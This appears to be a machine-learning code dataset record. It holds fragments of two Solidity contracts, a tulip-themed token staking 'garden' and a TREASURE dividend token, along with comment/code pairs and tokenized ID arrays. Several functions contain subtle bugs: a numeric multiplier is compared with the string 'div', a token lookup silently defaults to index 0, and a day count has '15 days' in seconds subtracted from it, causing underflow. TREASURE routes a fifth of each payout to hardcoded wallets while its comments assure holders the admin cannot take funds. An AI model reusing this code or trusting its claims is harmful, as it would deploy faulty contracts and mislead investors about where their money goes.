"Cannot withdraw 0"); _tulipToken[i].token.safeTransfer(msg.sender, _tulipToken[i].balances[msg.sender].mul(_decimalConverter)); emit Withdrawn(msg.sender,_tulipToken[i].balances[msg.sender]); zeroHoldings(i); } function harvest(string memory name) public nonReentrant { uint8 i = tulipType(name); require(i < 99, "Not a valid tulip name"); require(_tulipToken[i].balances[msg.sender] > 0, "Cannot harvest 0"); require(now > _tulipToken[i].periodFinish[msg.sender], "Cannot harvest until the flowers have bloomed!"); uint256 tempAmount; if (i == 2) { tempAmount = setRedTulipRewardAmount(); _tulipToken[0].token.contractMint(msg.sender, tempAmount.mul(_decimalConverter)); _tulipToken[i].periodFinish[msg.sender] = now.add(7 days); } else { _tulipToken[i].token.contractBurn(address(this), _tulipToken[i].balances[msg.sender].mul(_decimalConverter)); if(i == 1){ tempAmount = _tulipToken[i].balances[msg.sender].div(_pinkTulipDivider); } else{ tempAmount = _tulipToken[i].balances[msg.sender]; } _tulipToken[i + 1].token.contractMint(msg.sender, tempAmount.mul(_decimalConverter)); zeroHoldings(i); } emit RewardPaid(msg.sender, tempAmount); } /* ========== external garden ========== */ function externalPlant(uint256 amount, address tokenAddress) external nonReentrant { require(now > _epochBlockStart, "The garden is being set up!"); uint8 i = externalTokenIndex(tokenAddress); require(i < 99, "Not a valid token address"); require(amount > 0, "Cannot stake 0"); require(_externalToken[i].balances[msg.sender] == 0 && (_externalToken[i].periodFinish[msg.sender] == 0 || now > _externalToken[i].periodFinish[msg.sender]), "You must withdraw the previous stake before planting more!"); _externalToken[i].token.safeTransferFrom(msg.sender, address(this), amount); _externalToken[i].totalSupply = _externalToken[i].totalSupply.add(amount); _externalToken[i].balances[msg.sender] = _externalToken[i].balances[msg.sender].add(amount); _externalToken[i].periodFinish[msg.sender] = now.add(_externalToken[i].rewardsDuration); emit Staked(msg.sender, amount); } function externalWithdraw(address tokenAddress) public nonReentrant { uint8 i = externalTokenIndex(tokenAddress); require(i < 99, "Not a valid token address"); require(_externalToken[i].totalSupply > 0, "Cannot withdraw 0"); _externalToken[i].token.safeTransfer(msg.sender, _externalToken[i].balances[msg.sender]); emit Withdrawn(msg.sender, _externalToken[i].balances[msg.sender]); _externalToken[i].totalSupply = _externalToken[i].totalSupply - _externalToken[i].balances[msg.sender]; _externalToken[i].balances[msg.sender] = 0; _externalToken[i].periodFinish[msg.sender] = 0; } function externalHarvest(address tokenAddress) public nonReentrant { uint8 i = externalTokenIndex(tokenAddress); require(i < 99, "Not a valid token address"); require(_externalToken[i].totalSupply > 0, "Cannot harvest 0"); require(now > _externalToken[i].periodFinish[msg.sender], "Cannot harvest until the flowers have bloomed!"); if(keccak256(abi.encodePacked(_externalToken[i].rewardsMultiplier)) == keccak256(abi.encodePacked("div"))){ _tulipToken[0].token.contractMint(msg.sender, _externalToken[i].totalSupply.div(_externalToken[i].rewardsMultiplier)); }else{ _tulipToken[0].token.contractMint(msg.sender, _externalToken[i].totalSupply.mul(_externalToken[i].rewardsMultiplier)); } _externalToken[i].periodFinish[msg.sender] = now.add(_externalToken[i].rewardsDuration); emit RewardPaid(msg.sender, _externalToken[i].totalSupply.mul(_externalToken[i].rewardsMultiplier)); } /* ========== RESTRICTED FUNCTIONS ========== */ /* ========== internal functions ========== */ function addTokenOwner(address _token, address _newOwner) external onlyOwner { require(now > _epochBlockStart.add(30 days), "The admin functions are timelocked"); TulipToken tempToken = TulipToken(_token); tempToken.addOwner(_newOwner); } function renounceTokenOwner(address _token) external onlyOwner { require(now > _epochBlockStart.add(30 days), "The admin functions are timelocked"); TulipToken tempToken = TulipToken(_token); tempToken.renounceOwner(); } function changeOwner(address _newOwner) external onlyOwner { transferOwnership(_newOwner); } /* ========== external functions ========== */ function changeExternalTokenDuration(address _tokenAddress, uint256 _newDuration) external onlyOwner { uint8 i = externalTokenIndex(_tokenAddress); _externalToken[i].rewardsDuration = _newDuration; } function changeExternalTokenMultiplier(address _tokenAddress, uint256 _newMultiplier, string calldata _multType) external onlyOwner { uint8 i = externalTokenIndex(_tokenAddress); _externalToken[i].rewardsMultiplierType = _multType; _externalToken[i].rewardsMultiplier = _newMultiplier; } function addExternalToken(address _tokenAddress, uint256 _duration, uint256 _multiplier, string calldata _multiplierType ) external onlyOwner { require(keccak256(abi.encodePacked(_multiplierType)) == keccak256(abi.encodePacked("div"))|| keccak256(abi.encodePacked(_multiplierType)) == keccak256(abi.encodePacked("mul")), "Please enter a valid multiplier type"); for(uint8 i = 0; i < _externalToken.length; i++){ if(_externalToken[i].tokenAddress == _tokenAddress){ require(_externalToken[i].tokenAddress != _tokenAddress, "This token has already been added!"); } } _externalToken.push(externalToken( IERC20(_tokenAddress), _duration, _multiplier, _multiplierType, 0, _tokenAddress )); } /* ========== HELPER FUNCTIONS ========== */ function tulipType(string memory name) internal pure returns (uint8) { if (keccak256(abi.encodePacked(name)) == keccak256(abi.encodePacked("sTLP"))) { return 0; } if (keccak256(abi.encodePacked(name)) == keccak256(abi.encodePacked("pTLP"))) { return 1; } if (keccak256(abi.encodePacked(name)) == keccak256(abi.encodePacked("rTLP"))) { return 2; } else { return 99; } } function externalTokenIndex(address tokenAddress) internal view returns(uint8){ for (uint8 i = 0; i < _externalToken.length; i++){ if(_externalToken[i].tokenAddress == tokenAddress){ return i; } } } function setTimeStamp(uint8 i) internal{ if (i == 0) { setRewardDurationSeeds(); } if (i == 1) { setRewardDurationTulip(); } if (i == 2) { _tulipToken[i].periodFinish[msg.sender] = now.add(7 days); } } function zeroHoldings(uint8 i) internal{ _tulipToken[i].totalSupply = _tulipToken[i].totalSupply - _tulipToken[i].balances[msg.sender]; _tulipToken[i].balances[msg.sender] = 0; _tulipToken[i].periodFinish[msg.sender] = 0; } /* ========== REAL FUNCTIONS ========== */ function setRewardDurationSeeds() internal returns (bool) { uint256 timeSinceEpoch = ((now - _epochBlockStart) / 60 / 60 / 24 / 30) + 1; if (timeSinceEpoch >= 7) { _tulipToken[0].periodFinish[msg.sender] = now.add(7 days); return true; } else { _tulipToken[0].periodFinish[msg.sender] = now.add( timeSinceEpoch.mul(1 days) ); return true; } } function setRewardDurationTulip() internal returns (bool) { uint256 timeSinceEpoch = ((now - _epochBlockStart) / 60 / 60 / 24) + 1; if (timeSinceEpoch <= 2) { _tulipToken[1].periodFinish[msg.sender] = now.add(2 days); return true; } if (timeSinceEpoch > 2 && timeSinceEpoch <= 7) { _tulipToken[1].periodFinish[msg.sender] = now.add(3 days); return true; } if (timeSinceEpoch > 7 && timeSinceEpoch <= 14) { _tulipToken[1].periodFinish[msg.sender] = now.add(7 days); return true; } if (timeSinceEpoch > 14) { uint256 tempInt = (timeSinceEpoch - 15 days) / 30; if (tempInt >= 7) { _tulipToken[1].periodFinish[msg.sender] = now.add(30 days); return true; } else { _tulipToken[1].periodFinish[msg.sender] = now.add( 14 days + (tempInt.mul(2 days)) ); return true; } } } function setRedTulipRewardAmount() internal view returns (uint256) { uint256 timeSinceEpoch = (now - _tulipToken[2].periodFinish[msg.sender].sub(7 days)) / 60 / 60 / 24; uint256 amountWeeks = timeSinceEpoch.div(7); uint256 newtime = now; uint256 value = 0; for (uint256 i = amountWeeks; i != 0; i--) { uint256 tempTime = newtime.sub(i.mul(7 days)); if (tempTime > _epochRedTulipStart && tempTime <= _epochRedTulipStart.add(7 days)) { value = value.add(50); } if (tempTime > _epochRedTulipStart.add(7 days) && tempTime <= _epochRedTulipStart.add(21 days)) { value = value.add(25); } if (tempTime > _epochRedTulipStart.add(21 days)) { value = value.add(10); } } return value * _tulipToken[2].balances[msg.sender]; } /* ========== EVENTS ========== */ event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); }
========== internal garden ========== */
function plant(uint256 amount, string calldata name) external nonReentrant { require(now > _epochBlockStart, "The garden is being set up!"); uint8 i = tulipType(name); require(i < 99, "Not a valid tulip name"); require(amount >= 1, "Cannot stake less than 1"); if(i == 1){ uint256 modulo = amount % 100; require(modulo == 0, "If planting a pink tulip, has to be multiple of 100"); } require(_tulipToken[i].balances[msg.sender] == 0 && (_tulipToken[i].periodFinish[msg.sender] == 0 || now > _tulipToken[i].periodFinish[msg.sender]), "You must withdraw the previous crop before planting more!"); _tulipToken[i].token.safeTransferFrom(msg.sender, address(this), amount.mul(_decimalConverter)); _tulipToken[i].totalSupply = _tulipToken[i].totalSupply.add(amount); _tulipToken[i].balances[msg.sender] = _tulipToken[i].balances[msg.sender].add(amount); setTimeStamp(i); emit Staked(msg.sender, amount); }
7,838,567
[ 1, 1432, 631, 2713, 314, 24466, 422, 1432, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 886, 970, 12, 11890, 5034, 3844, 16, 533, 745, 892, 508, 13, 3903, 1661, 426, 8230, 970, 288, 377, 203, 565, 2583, 12, 3338, 405, 389, 12015, 1768, 1685, 16, 315, 1986, 314, 24466, 353, 3832, 444, 731, 4442, 1769, 203, 203, 565, 2254, 28, 277, 273, 268, 332, 625, 559, 12, 529, 1769, 203, 203, 565, 2583, 12, 77, 411, 14605, 16, 315, 1248, 279, 923, 268, 332, 625, 508, 8863, 203, 377, 203, 565, 2583, 12, 8949, 1545, 404, 16, 315, 4515, 384, 911, 5242, 2353, 404, 8863, 203, 203, 565, 309, 12, 77, 422, 404, 15329, 203, 1377, 2254, 5034, 26109, 273, 3844, 738, 2130, 31, 203, 1377, 2583, 12, 1711, 26478, 422, 374, 16, 315, 2047, 886, 970, 310, 279, 293, 754, 268, 332, 625, 16, 711, 358, 506, 3229, 434, 2130, 8863, 203, 565, 289, 203, 203, 565, 2583, 24899, 88, 332, 625, 1345, 63, 77, 8009, 70, 26488, 63, 3576, 18, 15330, 65, 422, 374, 597, 261, 67, 88, 332, 625, 1345, 63, 77, 8009, 6908, 11641, 63, 3576, 18, 15330, 65, 422, 374, 747, 2037, 405, 389, 88, 332, 625, 1345, 63, 77, 8009, 6908, 11641, 63, 3576, 18, 15330, 65, 3631, 7010, 565, 315, 6225, 1297, 598, 9446, 326, 2416, 7987, 1865, 886, 970, 310, 1898, 4442, 1769, 203, 203, 565, 389, 88, 332, 625, 1345, 63, 77, 8009, 2316, 18, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 3844, 18, 16411, 24899, 12586, 5072, 10019, 203, 203, 565, 389, 2 ]
pragma solidity 0.4.20; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function percent(uint value,uint numerator, uint denominator, uint precision) internal pure returns(uint quotient) { uint _numerator = numerator * 10 ** (precision+1); uint _quotient = ((_numerator / denominator) + 5) / 10; return (value*_quotient/1000000000000000000); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract TREASURE { /*===================================== = CONTRACT CONFIGURABLES = =====================================*/ // Token Details string public name = "TREASURE"; string public symbol = "TRS"; uint8 constant public decimals = 18; uint256 constant internal tokenPriceInitial = 0.000000001 ether; // Token Price Increment & Decrement By 1Gwei uint256 constant internal tokenPriceIncDec = 0.000000001 ether; // Proof of Stake (Default at 1 Token) uint256 public stakingReq = 1e18; uint256 constant internal magnitude = 2**64; // Dividend/Distribution Percentage uint8 constant internal referralFeePercent = 5; uint8 constant internal dividendFeePercent = 10; uint8 constant internal tradingFundWalletFeePercent = 10; uint8 constant internal communityWalletFeePercent = 10; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal sellingWithdrawBalance_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; mapping(address => string) internal contractTokenHolderAddresses; uint256 internal tokenTotalSupply = 0; uint256 internal calReferralPercentage = 0; uint256 internal calDividendPercentage = 0; uint256 internal calculatedPercentage = 0; uint256 internal soldTokens = 0; uint256 internal tempIncomingEther = 0; uint256 internal tempProfitPerShare = 0; uint256 internal tempIf = 0; uint256 internal tempCalculatedDividends = 0; uint256 internal tempReferall = 0; uint256 internal tempSellingWithdraw = 0; uint256 internal profitPerShare_; // When this is set to true, only ambassadors can purchase tokens bool public onlyAmbassadors = false; // Community Wallet Address address internal constant CommunityWalletAddr = address(0xa6ac94e896fBB8A2c27692e20B301D54D954071E); // Trading Fund Wallet Address address internal constant TradingWalletAddr = address(0x40E68DF89cAa6155812225F12907960608A0B9dd); // Administrator of this contract mapping(bytes32 => bool) public admin; /*================================= = MODIFIERS = =================================*/ // Only people with tokens modifier onlybelievers() { require(myTokens() > 0); _; } // Only people with profits modifier onlyhodler() { require(myDividends(true) > 0); _; } // Only people with sold token modifier onlySelingholder() { require(sellingWithdrawBalance_[msg.sender] > 0); _; } // Admin can do following things: // 1. Change the name of contract. // 2. Change the name of token. // 3. Change the PoS difficulty . // Admin CANNOT do following things: // 1. Take funds out from contract. // 2. Disable withdrawals. // 3. Kill the smart contract. // 4. Change the price of tokens. modifier onlyAdmin() { address _adminAddress = msg.sender; require(admin[keccak256(_adminAddress)]); _; } /*=========================================== = ADMINISTRATOR ONLY FUNCTIONS = ===========================================*/ // Admin can manually disable the ambassador phase function disableInitialStage() onlyAdmin() public { onlyAmbassadors = false; } function setAdmin(bytes32 _identifier, bool _status) onlyAdmin() public { admin[_identifier] = _status; } function setStakingReq(uint256 _tokensAmount) onlyAdmin() public { stakingReq = _tokensAmount; } function setName(string _tokenName) onlyAdmin() public { name = _tokenName; } function setSymbol(string _tokenSymbol) onlyAdmin() public { symbol = _tokenSymbol; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase ( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell ( address indexed customerAddress, uint256 tokensBurned ); event onReinvestment ( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw ( address indexed customerAddress, uint256 ethereumWithdrawn ); event onSellingWithdraw ( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer ( address indexed from, address indexed to, uint256 tokens ); /*======================================= = PUBLIC FUNCTIONS = =======================================*/ function TREASURE() public { // Contract Admin admin[0x7cfa1051b7130edfac6eb71d17a849847cf6b7e7ad0b33fad4e124841e5acfbc] = true; } // Check contract Ethereum Balance function totalEthereumBalance() public view returns(uint) { return this.balance; } // Check tokens total supply function totalSupply() public view returns(uint256) { return tokenTotalSupply; } // Check token balance owned by the caller function myTokens() public view returns(uint256) { address ownerAddress = msg.sender; return tokenBalanceLedger_[ownerAddress]; } // Check sold tokens function getSoldTokens() public view returns(uint256) { return soldTokens; } // Check dividends owned by the caller function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } // Check dividend balance of any single address function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } // Check token balance of any address function balanceOf(address ownerAddress) public view returns(uint256) { return tokenBalanceLedger_[ownerAddress]; ///need to change } // Check Selling Withdraw balance of address function sellingWithdrawBalance() view public returns(uint256) { address _customerAddress = msg.sender; uint256 _sellingWithdraw = (uint256) (sellingWithdrawBalance_[_customerAddress]) ; // Get all balances return _sellingWithdraw; } // Get Buy Price of 1 individual token function sellPrice() public view returns(uint256) { if(tokenTotalSupply == 0){ return tokenPriceInitial - tokenPriceIncDec; } else { uint256 _ethereum = tokensToEthereum_(1e18); return _ethereum - SafeMath.percent(_ethereum,15,100,18); } } // Get Sell Price of 1 individual token function buyPrice() public view returns(uint256) { if(tokenTotalSupply == 0){ return tokenPriceInitial; } else { uint256 _ethereum = tokensToEthereum_(1e18); return _ethereum; } } // Converts all of caller's dividends to tokens function reinvest() onlyhodler() public { address _customerAddress = msg.sender; // Get dividends uint256 _dividends = myDividends(true); // Retrieve Ref. Bonus later in the code // Calculate 10% for distribution uint256 TenPercentForDistribution = SafeMath.percent(_dividends,10,100,18); // Calculate 90% to reinvest into tokens uint256 NinetyPercentToReinvest = SafeMath.percent(_dividends,90,100,18); // Dispatch a buy order with the calculatedPercentage uint256 _tokens = purchaseTokens(NinetyPercentToReinvest, 0x0); // Empty their all dividends beacuse we are reinvesting them payoutsTo_[_customerAddress] += (int256) (SafeMath.sub(_dividends, referralBalance_[_customerAddress]) * magnitude); referralBalance_[_customerAddress] = 0; // Distribute to all users as per holdings profitPerShare_ = SafeMath.add(profitPerShare_, (TenPercentForDistribution * magnitude) / tokenTotalSupply); // Fire Event onReinvestment(_customerAddress, _dividends, _tokens); } // Alias of sell() & withdraw() function function exit() public { // Get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); withdraw(); } // Withdraw all of the callers earnings function withdraw() onlyhodler() public { address _customerAddress = msg.sender; // Calculate 20% of all Dividends and Transfer them to two communities uint256 _dividends = myDividends(true); // get all dividends // Calculate 10% for Trading Wallet uint256 TenPercentForTradingWallet = SafeMath.percent(_dividends,10,100,18); // Calculate 10% for Community Wallet uint256 TenPercentForCommunityWallet= SafeMath.percent(_dividends,10,100,18); // Update Dividend Tracker payoutsTo_[_customerAddress] += (int256) (SafeMath.sub(_dividends, referralBalance_[_customerAddress]) * magnitude); referralBalance_[_customerAddress] = 0; // Delivery Service address(CommunityWalletAddr).transfer(TenPercentForCommunityWallet); // Delivery Service address(TradingWalletAddr).transfer(TenPercentForTradingWallet); // Calculate 80% for transfering it to Customer Address uint256 EightyPercentForCustomer = SafeMath.percent(_dividends,80,100,18); // Delivery Service address(_customerAddress).transfer(EightyPercentForCustomer); // Fire Event onWithdraw(_customerAddress, _dividends); } // Withdraw all sellingWithdraw of the callers earnings function sellingWithdraw() onlySelingholder() public { address customerAddress = msg.sender; uint256 _sellingWithdraw = sellingWithdrawBalance_[customerAddress]; // Empty all sellingWithdraw beacuse we are giving them ETHs sellingWithdrawBalance_[customerAddress] = 0; // Delivery Service address(customerAddress).transfer(_sellingWithdraw); // Fire Event onSellingWithdraw(customerAddress, _sellingWithdraw); } // Sell Tokens // Remember there's a 10% fee for sell function sell(uint256 _amountOfTokens) onlybelievers() public { address customerAddress = msg.sender; // Calculate 10% of tokens and distribute them require(_amountOfTokens <= tokenBalanceLedger_[customerAddress] && _amountOfTokens > 1e18); uint256 _tokens = SafeMath.sub(_amountOfTokens, 1e18); uint256 _ethereum = tokensToEthereum_(_tokens); // Calculate 10% for distribution uint256 TenPercentToDistribute = SafeMath.percent(_ethereum,10,100,18); // Calculate 90% for customer withdraw wallet uint256 NinetyPercentToCustomer = SafeMath.percent(_ethereum,90,100,18); // Burn Sold Tokens tokenTotalSupply = SafeMath.sub(tokenTotalSupply, _tokens); tokenBalanceLedger_[customerAddress] = SafeMath.sub(tokenBalanceLedger_[customerAddress], _tokens); // Substract sold tokens from circulations of tokenTotalSupply soldTokens = SafeMath.sub(soldTokens,_tokens); // Update sellingWithdrawBalance of customer sellingWithdrawBalance_[customerAddress] += NinetyPercentToCustomer; // Update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (TenPercentToDistribute * magnitude)); payoutsTo_[customerAddress] -= _updatedPayouts; // Distribute to all users as per holdings if (tokenTotalSupply > 0) { // Update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (TenPercentToDistribute * magnitude) / tokenTotalSupply); } // Fire Event onTokenSell(customerAddress, _tokens); } // Transfer tokens from the caller to a new holder // Remember there's a 5% fee here for transfer function transfer(address _toAddress, uint256 _amountOfTokens) onlybelievers() public returns(bool) { address customerAddress = msg.sender; // Make sure user have the requested tokens require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[customerAddress] && _amountOfTokens > 1e18); // Calculate 5% of total tokens uint256 FivePercentOfTokens = SafeMath.percent(_amountOfTokens,5,100,18); // Calculate 95% of total tokens uint256 NinetyFivePercentOfTokens = SafeMath.percent(_amountOfTokens,95,100,18); // Burn the fee tokens // Convert ETH to Tokens tokenTotalSupply = SafeMath.sub(tokenTotalSupply,FivePercentOfTokens); // Substract 5% from community of tokens soldTokens = SafeMath.sub(soldTokens, FivePercentOfTokens); // Exchange Tokens tokenBalanceLedger_[customerAddress] = SafeMath.sub(tokenBalanceLedger_[customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], NinetyFivePercentOfTokens) ; // Calculate value of all token to transfer to ETH uint256 FivePercentToDistribute = tokensToEthereum_(FivePercentOfTokens); // Update dividend trackers payoutsTo_[customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * NinetyFivePercentOfTokens); // Distribute to all users as per holdings profitPerShare_ = SafeMath.add(profitPerShare_, (FivePercentToDistribute * magnitude) / tokenTotalSupply); // Fire Event Transfer(customerAddress, _toAddress, NinetyFivePercentOfTokens); return true; } // Function to calculate actual value after Taxes function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { // Calculate 15% for distribution uint256 fifteen_percentToDistribute= SafeMath.percent(_ethereumToSpend,15,100,18); uint256 _dividends = SafeMath.sub(_ethereumToSpend, fifteen_percentToDistribute); uint256 _amountOfTokens = ethereumToTokens_(_dividends); return _amountOfTokens; } // Function to calculate received ETH function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenTotalSupply); uint256 _ethereum = tokensToEthereum_(_tokensToSell); // Calculate 10% for distribution uint256 ten_percentToDistribute= SafeMath.percent(_ethereum,10,100,18); uint256 _dividends = SafeMath.sub(_ethereum, ten_percentToDistribute); return _dividends; } // Convert all incoming ETH to Tokens for the caller and pass down the referral address (if any) function buy(address referredBy) public payable { purchaseTokens(msg.value, referredBy); } // Fallback function to handle ETH that was sent straight to the contract // Unfortunately we cannot use a referral address this way. function() payable public { purchaseTokens(msg.value, 0x0); } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 incomingEthereum, address referredBy) internal returns(uint256) { // Datasets address customerAddress = msg.sender; tempIncomingEther = incomingEthereum; // Calculate Percentage for Referral (if any) calReferralPercentage = SafeMath.percent(incomingEthereum,referralFeePercent,100,18); // Calculate Dividend calDividendPercentage = SafeMath.percent(incomingEthereum,dividendFeePercent,100,18); // Calculate remaining amount calculatedPercentage = SafeMath.percent(incomingEthereum,85,100,18); // Token will receive against the sent ETH uint256 _amountOfTokens = ethereumToTokens_(SafeMath.percent(incomingEthereum,85,100,18)); uint256 _dividends = 0; uint256 minOneToken = 1 * (10 ** decimals); require(_amountOfTokens > minOneToken && (SafeMath.add(_amountOfTokens,tokenTotalSupply) > tokenTotalSupply)); // If user referred by a Treasure Key if( // Is this a referred purchase? referredBy != 0x0000000000000000000000000000000000000000 && // No Cheating!!!! referredBy != customerAddress && // Does the referrer have at least X whole tokens? tokenBalanceLedger_[referredBy] >= stakingReq ) { // Give 5 % to Referral User referralBalance_[referredBy] += SafeMath.percent(incomingEthereum,5,100,18); _dividends = calDividendPercentage; } else { // Add the referral bonus back to the global dividend _dividends = SafeMath.add(calDividendPercentage, calReferralPercentage); } // We can't give people infinite ETH if(tokenTotalSupply > 0) { // Add tokens to the pool tokenTotalSupply = SafeMath.add(tokenTotalSupply, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / (tokenTotalSupply)); } else { // Add tokens to the pool tokenTotalSupply = _amountOfTokens; } // Update circulating supply & the ledger address for the customer tokenBalanceLedger_[customerAddress] = SafeMath.add(tokenBalanceLedger_[customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[customerAddress] += _updatedPayouts; // Fire Event onTokenPurchase(customerAddress, incomingEthereum, _amountOfTokens, referredBy); // Calculate sold tokens here soldTokens += _amountOfTokens; return _amountOfTokens; } // Calculate token price based on an amount of incoming ETH // It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; // Some conversions occurred to prevent decimal errors or underflows/overflows in solidity code. function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (SqRt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncDec * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncDec)**2)*(tokenTotalSupply**2)) + (2*(tokenPriceIncDec)*_tokenPriceInitial*tokenTotalSupply) ) ), _tokenPriceInitial ) )/(tokenPriceIncDec) )-(tokenTotalSupply); return _tokensReceived; } // Calculate token sell value // It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; // Some conversions occurred to prevent decimal errors or underflows/overflows in solidity code. function tokensToEthereum_(uint256 _tokens) public view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenTotalSupply + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial + (tokenPriceIncDec * (_tokenSupply/1e18)) )-tokenPriceIncDec )*(tokens_ - 1e18) ),(tokenPriceIncDec*((tokens_**2-tokens_)/1e18))/2 )/1e18); return _etherReceived; } // This is where all your gas goes function SqRt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
Admin can do following things: 1. Change the name of contract. 2. Change the name of token. 3. Change the PoS difficulty . Admin CANNOT do following things: 1. Take funds out from contract. 2. Disable withdrawals. 3. Kill the smart contract. 4. Change the price of tokens.
modifier onlyAdmin() { address _adminAddress = msg.sender; require(admin[keccak256(_adminAddress)]); _; } ===========================================*/
12,920,279
[ 1, 4446, 848, 741, 3751, 9198, 30, 225, 404, 18, 7576, 326, 508, 434, 6835, 18, 225, 576, 18, 7576, 326, 508, 434, 1147, 18, 225, 890, 18, 7576, 326, 453, 31605, 3122, 21934, 263, 7807, 385, 16791, 741, 3751, 9198, 30, 225, 404, 18, 17129, 284, 19156, 596, 628, 6835, 18, 225, 576, 18, 10639, 598, 9446, 1031, 18, 225, 890, 18, 20520, 326, 13706, 6835, 18, 225, 1059, 18, 7576, 326, 6205, 434, 2430, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
